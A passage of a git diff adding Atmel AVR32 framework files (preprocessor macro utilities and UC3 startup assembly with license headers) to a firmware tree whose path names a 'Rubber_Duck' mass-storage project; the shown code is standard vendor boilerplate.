macro( 47, data) +#define MREPEAT49( macro, data) MREPEAT48( macro, data) macro( 48, data) +#define MREPEAT50( macro, data) MREPEAT49( macro, data) macro( 49, data) +#define MREPEAT51( macro, data) MREPEAT50( macro, data) macro( 50, data) +#define MREPEAT52( macro, data) MREPEAT51( macro, data) macro( 51, data) +#define MREPEAT53( macro, data) MREPEAT52( macro, data) macro( 52, data) +#define MREPEAT54( macro, data) MREPEAT53( macro, data) macro( 53, data) +#define MREPEAT55( macro, data) MREPEAT54( macro, data) macro( 54, data) +#define MREPEAT56( macro, data) MREPEAT55( macro, data) macro( 55, data) +#define MREPEAT57( macro, data) MREPEAT56( macro, data) macro( 56, data) +#define MREPEAT58( macro, data) MREPEAT57( macro, data) macro( 57, data) +#define MREPEAT59( macro, data) MREPEAT58( macro, data) macro( 58, data) +#define MREPEAT60( macro, data) MREPEAT59( macro, data) macro( 59, data) +#define MREPEAT61( macro, data) MREPEAT60( macro, data) macro( 60, data) +#define MREPEAT62( macro, data) MREPEAT61( macro, data) macro( 61, data) +#define MREPEAT63( macro, data) MREPEAT62( macro, data) macro( 62, data) +#define MREPEAT64( macro, data) MREPEAT63( macro, data) macro( 63, data) +#define MREPEAT65( macro, data) MREPEAT64( macro, data) macro( 64, data) +#define MREPEAT66( macro, data) MREPEAT65( macro, data) macro( 65, data) +#define MREPEAT67( macro, data) MREPEAT66( macro, data) macro( 66, data) +#define MREPEAT68( macro, data) MREPEAT67( macro, data) macro( 67, data) +#define MREPEAT69( macro, data) MREPEAT68( macro, data) macro( 68, data) +#define MREPEAT70( macro, data) MREPEAT69( macro, data) macro( 69, data) +#define MREPEAT71( macro, data) MREPEAT70( macro, data) macro( 70, data) +#define MREPEAT72( macro, data) MREPEAT71( macro, data) macro( 71, data) +#define MREPEAT73( macro, data) MREPEAT72( macro, data) macro( 72, data) +#define MREPEAT74( macro, data) MREPEAT73( macro, data) macro( 73, data) +#define MREPEAT75( macro, data) MREPEAT74( macro, data) macro( 74, data) +#define MREPEAT76( macro, data) MREPEAT75( macro, data) macro( 75, data) +#define MREPEAT77( macro, data) MREPEAT76( macro, data) macro( 76, data) +#define MREPEAT78( macro, data) MREPEAT77( macro, data) macro( 77, data) +#define MREPEAT79( macro, data) MREPEAT78( macro, data) macro( 78, data) +#define MREPEAT80( macro, data) MREPEAT79( macro, data) macro( 79, data) +#define MREPEAT81( macro, data) MREPEAT80( macro, data) macro( 80, data) +#define MREPEAT82( macro, data) MREPEAT81( macro, data) macro( 81, data) +#define MREPEAT83( macro, data) MREPEAT82( macro, data) macro( 82, data) +#define MREPEAT84( macro, data) MREPEAT83( macro, data) macro( 83, data) +#define MREPEAT85( macro, data) MREPEAT84( macro, data) macro( 84, data) +#define MREPEAT86( macro, data) MREPEAT85( macro, data) macro( 85, data) +#define MREPEAT87( macro, data) MREPEAT86( macro, data) macro( 86, data) +#define MREPEAT88( macro, data) MREPEAT87( macro, data) macro( 87, data) +#define MREPEAT89( macro, data) MREPEAT88( macro, data) macro( 88, data) +#define MREPEAT90( macro, data) MREPEAT89( macro, data) macro( 89, data) +#define MREPEAT91( macro, data) MREPEAT90( macro, data) macro( 90, data) +#define MREPEAT92( macro, data) MREPEAT91( macro, data) macro( 91, data) +#define MREPEAT93( macro, data) MREPEAT92( macro, data) macro( 92, data) +#define MREPEAT94( macro, data) MREPEAT93( macro, data) macro( 93, data) +#define MREPEAT95( macro, data) MREPEAT94( macro, data) macro( 94, data) +#define MREPEAT96( macro, data) MREPEAT95( macro, data) macro( 95, data) +#define MREPEAT97( macro, data) MREPEAT96( macro, data) macro( 96, data) +#define MREPEAT98( macro, data) MREPEAT97( macro, data) macro( 97, data) +#define MREPEAT99( macro, data) MREPEAT98( macro, data) macro( 98, data) +#define MREPEAT100(macro, data) MREPEAT99( macro, data) macro( 99, data) +#define MREPEAT101(macro, data) MREPEAT100(macro, data) macro(100, data) +#define MREPEAT102(macro, data) MREPEAT101(macro, data) macro(101, data) +#define MREPEAT103(macro, data) MREPEAT102(macro, data) macro(102, data) +#define MREPEAT104(macro, data) MREPEAT103(macro, data) macro(103, data) +#define MREPEAT105(macro, data) MREPEAT104(macro, data) macro(104, data) +#define MREPEAT106(macro, data) MREPEAT105(macro, data) macro(105, data) +#define MREPEAT107(macro, data) MREPEAT106(macro, data) macro(106, data) +#define MREPEAT108(macro, data) MREPEAT107(macro, data) macro(107, data) +#define MREPEAT109(macro, data) MREPEAT108(macro, data) macro(108, data) +#define MREPEAT110(macro, data) MREPEAT109(macro, data) macro(109, data) +#define MREPEAT111(macro, data) MREPEAT110(macro, data) macro(110, data) +#define MREPEAT112(macro, data) MREPEAT111(macro, data) macro(111, data) +#define MREPEAT113(macro, data) MREPEAT112(macro, data) macro(112, data) +#define MREPEAT114(macro, data) MREPEAT113(macro, data) macro(113, data) +#define MREPEAT115(macro, data) MREPEAT114(macro, data) macro(114, data) +#define MREPEAT116(macro, data) MREPEAT115(macro, data) macro(115, data) +#define MREPEAT117(macro, data) MREPEAT116(macro, data) macro(116, data) +#define MREPEAT118(macro, data) MREPEAT117(macro, data) macro(117, data) +#define MREPEAT119(macro, data) MREPEAT118(macro, data) macro(118, data) +#define MREPEAT120(macro, data) MREPEAT119(macro, data) macro(119, data) +#define MREPEAT121(macro, data) MREPEAT120(macro, data) macro(120, data) +#define MREPEAT122(macro, data) MREPEAT121(macro, data) macro(121, data) +#define MREPEAT123(macro, data) MREPEAT122(macro, data) macro(122, data) +#define MREPEAT124(macro, data) MREPEAT123(macro, data) macro(123, data) +#define MREPEAT125(macro, data) MREPEAT124(macro, data) macro(124, data) +#define MREPEAT126(macro, data) MREPEAT125(macro, data) macro(125, data) +#define MREPEAT127(macro, data) MREPEAT126(macro, data) macro(126, data) +#define MREPEAT128(macro, data) MREPEAT127(macro, data) macro(127, data) +#define MREPEAT129(macro, data) MREPEAT128(macro, data) macro(128, data) +#define MREPEAT130(macro, data) MREPEAT129(macro, data) macro(129, data) +#define MREPEAT131(macro, data) MREPEAT130(macro, data) macro(130, data) +#define MREPEAT132(macro, data) MREPEAT131(macro, data) macro(131, data) +#define MREPEAT133(macro, data) MREPEAT132(macro, data) macro(132, data) +#define MREPEAT134(macro, data) MREPEAT133(macro, data) macro(133, data) +#define MREPEAT135(macro, data) MREPEAT134(macro, data) macro(134, data) +#define MREPEAT136(macro, data) MREPEAT135(macro, data) macro(135, data) +#define MREPEAT137(macro, data) MREPEAT136(macro, data) macro(136, data) +#define MREPEAT138(macro, data) MREPEAT137(macro, data) macro(137, data) +#define MREPEAT139(macro, data) MREPEAT138(macro, data) macro(138, data) +#define MREPEAT140(macro, data) MREPEAT139(macro, data) macro(139, data) +#define MREPEAT141(macro, data) MREPEAT140(macro, data) macro(140, data) +#define MREPEAT142(macro, data) MREPEAT141(macro, data) macro(141, data) +#define MREPEAT143(macro, data) MREPEAT142(macro, data) macro(142, data) +#define MREPEAT144(macro, data) MREPEAT143(macro, data) macro(143, data) +#define MREPEAT145(macro, data) MREPEAT144(macro, data) macro(144, data) +#define MREPEAT146(macro, data) MREPEAT145(macro, data) macro(145, data) +#define MREPEAT147(macro, data) MREPEAT146(macro, data) macro(146, data) +#define MREPEAT148(macro, data) MREPEAT147(macro, data) macro(147, data) +#define MREPEAT149(macro, data) MREPEAT148(macro, data) macro(148, data) +#define MREPEAT150(macro, data) MREPEAT149(macro, data) macro(149, data) +#define MREPEAT151(macro, data) MREPEAT150(macro, data) macro(150, data) +#define MREPEAT152(macro, data) MREPEAT151(macro, data) macro(151, data) +#define MREPEAT153(macro, data) MREPEAT152(macro, data) macro(152, data) +#define MREPEAT154(macro, data) MREPEAT153(macro, data) macro(153, data) +#define MREPEAT155(macro, data) MREPEAT154(macro, data) macro(154, data) +#define MREPEAT156(macro, data) MREPEAT155(macro, data) macro(155, data) +#define MREPEAT157(macro, data) MREPEAT156(macro, data) macro(156, data) +#define MREPEAT158(macro, data) MREPEAT157(macro, data) macro(157, data) +#define MREPEAT159(macro, data) MREPEAT158(macro, data) macro(158, data) +#define MREPEAT160(macro, data) MREPEAT159(macro, data) macro(159, data) +#define MREPEAT161(macro, data) MREPEAT160(macro, data) macro(160, data) +#define MREPEAT162(macro, data) MREPEAT161(macro, data) macro(161, data) +#define MREPEAT163(macro, data) MREPEAT162(macro, data) macro(162, data) +#define MREPEAT164(macro, data) MREPEAT163(macro, data) macro(163, data) +#define MREPEAT165(macro, data) MREPEAT164(macro, data) macro(164, data) +#define MREPEAT166(macro, data) MREPEAT165(macro, data) macro(165, data) +#define MREPEAT167(macro, data) MREPEAT166(macro, data) macro(166, data) +#define MREPEAT168(macro, data) MREPEAT167(macro, data) macro(167, data) +#define MREPEAT169(macro, data) MREPEAT168(macro, data) macro(168, data) +#define MREPEAT170(macro, data) MREPEAT169(macro, data) macro(169, data) +#define MREPEAT171(macro, data) MREPEAT170(macro, data) macro(170, data) +#define MREPEAT172(macro, data) MREPEAT171(macro, data) macro(171, data) +#define MREPEAT173(macro, data) MREPEAT172(macro, data) macro(172, data) +#define MREPEAT174(macro, data) MREPEAT173(macro, data) macro(173, data) +#define MREPEAT175(macro, data) MREPEAT174(macro, data) macro(174, data) +#define MREPEAT176(macro, data) MREPEAT175(macro, data) macro(175, data) +#define MREPEAT177(macro, data) MREPEAT176(macro, data) macro(176, data) +#define MREPEAT178(macro, data) MREPEAT177(macro, data) macro(177, data) +#define MREPEAT179(macro, data) MREPEAT178(macro, data) macro(178, data) +#define MREPEAT180(macro, data) MREPEAT179(macro, data) macro(179, data) +#define MREPEAT181(macro, data) MREPEAT180(macro, data) macro(180, data) +#define MREPEAT182(macro, data) MREPEAT181(macro, data) macro(181, data) +#define MREPEAT183(macro, data) MREPEAT182(macro, data) macro(182, data) +#define MREPEAT184(macro, data) MREPEAT183(macro, data) macro(183, data) +#define MREPEAT185(macro, data) MREPEAT184(macro, data) macro(184, data) +#define MREPEAT186(macro, data) MREPEAT185(macro, data) macro(185, data) +#define MREPEAT187(macro, data) MREPEAT186(macro, data) macro(186, data) +#define MREPEAT188(macro, data) MREPEAT187(macro, data) macro(187, data) +#define MREPEAT189(macro, data) MREPEAT188(macro, data) macro(188, data) +#define MREPEAT190(macro, data) MREPEAT189(macro, data) macro(189, data) +#define MREPEAT191(macro, data) MREPEAT190(macro, data) macro(190, data) +#define MREPEAT192(macro, data) MREPEAT191(macro, data) macro(191, data) +#define MREPEAT193(macro, data) MREPEAT192(macro, data) macro(192, data) +#define MREPEAT194(macro, data) MREPEAT193(macro, data) macro(193, data) +#define MREPEAT195(macro, data) MREPEAT194(macro, data) macro(194, data) +#define MREPEAT196(macro, data) MREPEAT195(macro, data) macro(195, data) +#define MREPEAT197(macro, data) MREPEAT196(macro, data) macro(196, data) +#define MREPEAT198(macro, data) MREPEAT197(macro, data) macro(197, data) +#define MREPEAT199(macro, data) MREPEAT198(macro, data) macro(198, data) +#define MREPEAT200(macro, data) MREPEAT199(macro, data) macro(199, data) +#define MREPEAT201(macro, data) MREPEAT200(macro, data) macro(200, data) +#define MREPEAT202(macro, data) MREPEAT201(macro, data) macro(201, data) +#define MREPEAT203(macro, data) MREPEAT202(macro, data) macro(202, data) +#define MREPEAT204(macro, data) MREPEAT203(macro, data) macro(203, data) +#define MREPEAT205(macro, data) MREPEAT204(macro, data) macro(204, data) +#define MREPEAT206(macro, data) MREPEAT205(macro, data) macro(205, data) +#define MREPEAT207(macro, data) MREPEAT206(macro, data) macro(206, data) +#define MREPEAT208(macro, data) MREPEAT207(macro, data) macro(207, data) +#define MREPEAT209(macro, data) MREPEAT208(macro, data) macro(208, data) +#define MREPEAT210(macro, data) MREPEAT209(macro, data) macro(209, data) +#define MREPEAT211(macro, data) MREPEAT210(macro, data) macro(210, data) +#define MREPEAT212(macro, data) MREPEAT211(macro, data) macro(211, data) +#define MREPEAT213(macro, data) MREPEAT212(macro, data) macro(212, data) +#define MREPEAT214(macro, data) MREPEAT213(macro, data) macro(213, data) +#define MREPEAT215(macro, data) MREPEAT214(macro, data) macro(214, data) +#define MREPEAT216(macro, data) MREPEAT215(macro, data) macro(215, data) +#define MREPEAT217(macro, data) MREPEAT216(macro, data) macro(216, data) +#define MREPEAT218(macro, data) MREPEAT217(macro, data) macro(217, data) +#define MREPEAT219(macro, data) MREPEAT218(macro, data) macro(218, data) +#define MREPEAT220(macro, data) MREPEAT219(macro, data) macro(219, data) +#define MREPEAT221(macro, data) MREPEAT220(macro, data) macro(220, data) +#define MREPEAT222(macro, data) MREPEAT221(macro, data) macro(221, data) +#define MREPEAT223(macro, data) MREPEAT222(macro, data) macro(222, data) +#define MREPEAT224(macro, data) MREPEAT223(macro, data) macro(223, data) +#define MREPEAT225(macro, data) MREPEAT224(macro, data) macro(224, data) +#define MREPEAT226(macro, data) MREPEAT225(macro, data) macro(225, data) +#define MREPEAT227(macro, data) MREPEAT226(macro, data) macro(226, data) +#define MREPEAT228(macro, data) MREPEAT227(macro, data) macro(227, data) +#define MREPEAT229(macro, data) MREPEAT228(macro, data) macro(228, data) +#define MREPEAT230(macro, data) MREPEAT229(macro, data) macro(229, data) +#define MREPEAT231(macro, data) MREPEAT230(macro, data) macro(230, data) +#define MREPEAT232(macro, data) MREPEAT231(macro, data) macro(231, data) +#define MREPEAT233(macro, data) MREPEAT232(macro, data) macro(232, data) +#define MREPEAT234(macro, data) MREPEAT233(macro, data) macro(233, data) +#define MREPEAT235(macro, data) MREPEAT234(macro, data) macro(234, data) +#define MREPEAT236(macro, data) MREPEAT235(macro, data) macro(235, data) +#define MREPEAT237(macro, data) MREPEAT236(macro, data) macro(236, data) +#define MREPEAT238(macro, data) MREPEAT237(macro, data) macro(237, data) +#define MREPEAT239(macro, data) MREPEAT238(macro, data) macro(238, data) +#define MREPEAT240(macro, data) MREPEAT239(macro, data) macro(239, data) +#define MREPEAT241(macro, data) MREPEAT240(macro, data) macro(240, data) +#define MREPEAT242(macro, data) MREPEAT241(macro, data) macro(241, data) +#define MREPEAT243(macro, data) MREPEAT242(macro, data) macro(242, data) +#define MREPEAT244(macro, data) MREPEAT243(macro, data) macro(243, data) +#define MREPEAT245(macro, data) MREPEAT244(macro, data) macro(244, data) +#define MREPEAT246(macro, data) MREPEAT245(macro, data) macro(245, data) +#define MREPEAT247(macro, data) MREPEAT246(macro, data) macro(246, data) +#define MREPEAT248(macro, data) MREPEAT247(macro, data) macro(247, data) +#define MREPEAT249(macro, data) MREPEAT248(macro, data) macro(248, data) +#define MREPEAT250(macro, data) MREPEAT249(macro, data) macro(249, data) +#define MREPEAT251(macro, data) MREPEAT250(macro, data) macro(250, data) +#define MREPEAT252(macro, data) MREPEAT251(macro, data) macro(251, data) +#define MREPEAT253(macro, data) MREPEAT252(macro, data) macro(252, data) +#define MREPEAT254(macro, data) MREPEAT253(macro, data) macro(253, data) +#define MREPEAT255(macro, data) MREPEAT254(macro, data) macro(254, data) +#define MREPEAT256(macro, data) MREPEAT255(macro, data) macro(255, data) + +/** + * \} + */ + +#endif // _MREPEAT_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/preprocessor.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/preprocessor.h new file mode 100755 index 0000000..14e7dee --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/preprocessor.h @@ -0,0 +1,51 @@ +/***************************************************************************** + * + * \file + * + * \brief Preprocessor utils. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _PREPROCESSOR_H_ +#define _PREPROCESSOR_H_ + +#include "tpaste.h" +#include "stringz.h" +#include "mrepeat.h" + + +#endif // _PREPROCESSOR_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/stringz.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/stringz.h new file mode 100755 index 0000000..b82fffc --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/stringz.h @@ -0,0 +1,81 @@ +/***************************************************************************** + * + * \file + * + * \brief Preprocessor stringizing utils. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _STRINGZ_H_ +#define _STRINGZ_H_ + +/** + * \defgroup group_avr32_utils_stringz Preprocessor - Stringize + * + * \ingroup group_avr32_utils + * + * \{ + */ + +/*! \brief Stringize. + * + * Stringize a preprocessing token, this token being allowed to be \#defined. + * + * May be used only within macros with the token passed as an argument if the token is \#defined. + * + * For example, writing STRINGZ(PIN) within a macro \#defined by PIN_NAME(PIN) + * and invoked as PIN_NAME(PIN0) with PIN0 \#defined as A0 is equivalent to + * writing "A0". + */ +#define STRINGZ(x) #x + +/*! \brief Absolute stringize. + * + * Stringize a preprocessing token, this token being allowed to be \#defined. + * + * No restriction of use if the token is \#defined. + * + * For example, writing ASTRINGZ(PIN0) anywhere with PIN0 \#defined as A0 is + * equivalent to writing "A0". + */ +#define ASTRINGZ(x) STRINGZ(x) + +/** + * \} + */ + +#endif // _STRINGZ_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/tpaste.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/tpaste.h new file mode 100755 index 0000000..f0b109f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/tpaste.h @@ -0,0 +1,101 @@ +/***************************************************************************** + * + * \file + * + * \brief Preprocessor token pasting utils. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _TPASTE_H_ +#define _TPASTE_H_ + +/** + * \defgroup group_avr32_utils_tpaste Preprocessor - Token Paste + * + * \ingroup group_avr32_utils + * + * \{ + */ + +/*! \name Token Paste + * + * Paste N preprocessing tokens together, these tokens being allowed to be \#defined. + * + * May be used only within macros with the tokens passed as arguments if the tokens are \#defined. + * + * For example, writing TPASTE2(U, WIDTH) within a macro \#defined by + * UTYPE(WIDTH) and invoked as UTYPE(UL_WIDTH) with UL_WIDTH \#defined as 32 is + * equivalent to writing U32. + */ +//! @{ +#define TPASTE2( a, b) a##b +#define TPASTE3( a, b, c) a##b##c +#define TPASTE4( a, b, c, d) a##b##c##d +#define TPASTE5( a, b, c, d, e) a##b##c##d##e +#define TPASTE6( a, b, c, d, e, f) a##b##c##d##e##f +#define TPASTE7( a, b, c, d, e, f, g) a##b##c##d##e##f##g +#define TPASTE8( a, b, c, d, e, f, g, h) a##b##c##d##e##f##g##h +#define TPASTE9( a, b, c, d, e, f, g, h, i) a##b##c##d##e##f##g##h##i +#define TPASTE10(a, b, c, d, e, f, g, h, i, j) a##b##c##d##e##f##g##h##i##j +//! @} + +/*! \name Absolute Token Paste + * + * Paste N preprocessing tokens together, these tokens being allowed to be \#defined. + * + * No restriction of use if the tokens are \#defined. + * + * For example, writing ATPASTE2(U, UL_WIDTH) anywhere with UL_WIDTH \#defined + * as 32 is equivalent to writing U32. + */ +//! @{ +#define ATPASTE2( a, b) TPASTE2( a, b) +#define ATPASTE3( a, b, c) TPASTE3( a, b, c) +#define ATPASTE4( a, b, c, d) TPASTE4( a, b, c, d) +#define ATPASTE5( a, b, c, d, e) TPASTE5( a, b, c, d, e) +#define ATPASTE6( a, b, c, d, e, f) TPASTE6( a, b, c, d, e, f) +#define ATPASTE7( a, b, c, d, e, f, g) TPASTE7( a, b, c, d, e, f, g) +#define ATPASTE8( a, b, c, d, e, f, g, h) TPASTE8( a, b, c, d, e, f, g, h) +#define ATPASTE9( a, b, c, d, e, f, g, h, i) TPASTE9( a, b, c, d, e, f, g, h, i) +#define ATPASTE10(a, b, c, d, e, f, g, h, i, j) TPASTE10(a, b, c, d, e, f, g, h, i, j) +//! @} + +/** + * \} + */ + +#endif // _TPASTE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/startup_uc3.S b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/startup_uc3.S new file mode 100755 index 0000000..2f79395 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/startup_uc3.S @@ -0,0 +1,115 @@ +/***************************************************************************** + * + * \file + * + * \brief AVR32UC C runtime startup file. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#include + + +//! @{ +//! \verbatim + + + // This must be linked @ 0x80000000 if it is to be run upon reset. + .section .reset, "ax", @progbits + + + .global _start + .type _start, @function +_start: + // Jump to the C runtime startup routine. + lda.w pc, _stext + + + // _stext is placed outside the .reset section so that the program entry point + // can be changed without affecting the C runtime startup. + .section .text._stext, "ax", @progbits + + + .global _stext + .type _stext, @function +_stext: + // Set initial stack pointer. + lda.w sp, _estack + + // Set up EVBA so interrupts can be enabled. + lda.w r0, _evba + mtsr AVR32_EVBA, r0 + + // Enable the exception processing. + csrf AVR32_SR_EM_OFFSET + + // Load initialized data having a global lifetime from the data LMA. + lda.w r0, _data + lda.w r1, _edata + cp r0, r1 + brhs idata_load_loop_end + lda.w r2, _data_lma +idata_load_loop: + ld.d r4, r2++ + st.d r0++, r4 + cp r0, r1 + brlo idata_load_loop +idata_load_loop_end: + + // Clear uninitialized data having a global lifetime in the blank static storage section. + lda.w r0, __bss_start + lda.w r1, _end + cp r0, r1 + brhs udata_clear_loop_end + mov r2, 0 + mov r3, 0 +udata_clear_loop: + st.d r0++, r2 + cp r0, r1 + brlo udata_clear_loop +udata_clear_loop_end: + +#ifdef CONFIG_FRAME_POINTER + // Safety: Set the default "return" @ to the exit routine address. + lda.w lr, exit +#endif + + // Start the show. + lda.w pc, main + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/trampoline_uc3.S b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/trampoline_uc3.S new file mode 100755 index 0000000..6d491e9 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/trampoline_uc3.S @@ -0,0 +1,73 @@ +/***************************************************************************** + * + * \file + * + * \brief AVR32 UC3 ISP trampoline. + * + * In order to be able to program a project with both BatchISP and JTAGICE mkII + * without having to take the general-purpose fuses into consideration, add this + * file to the project and change the program entry point to _trampoline. + * + * The pre-programmed ISP will be erased if JTAGICE mkII is used. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * 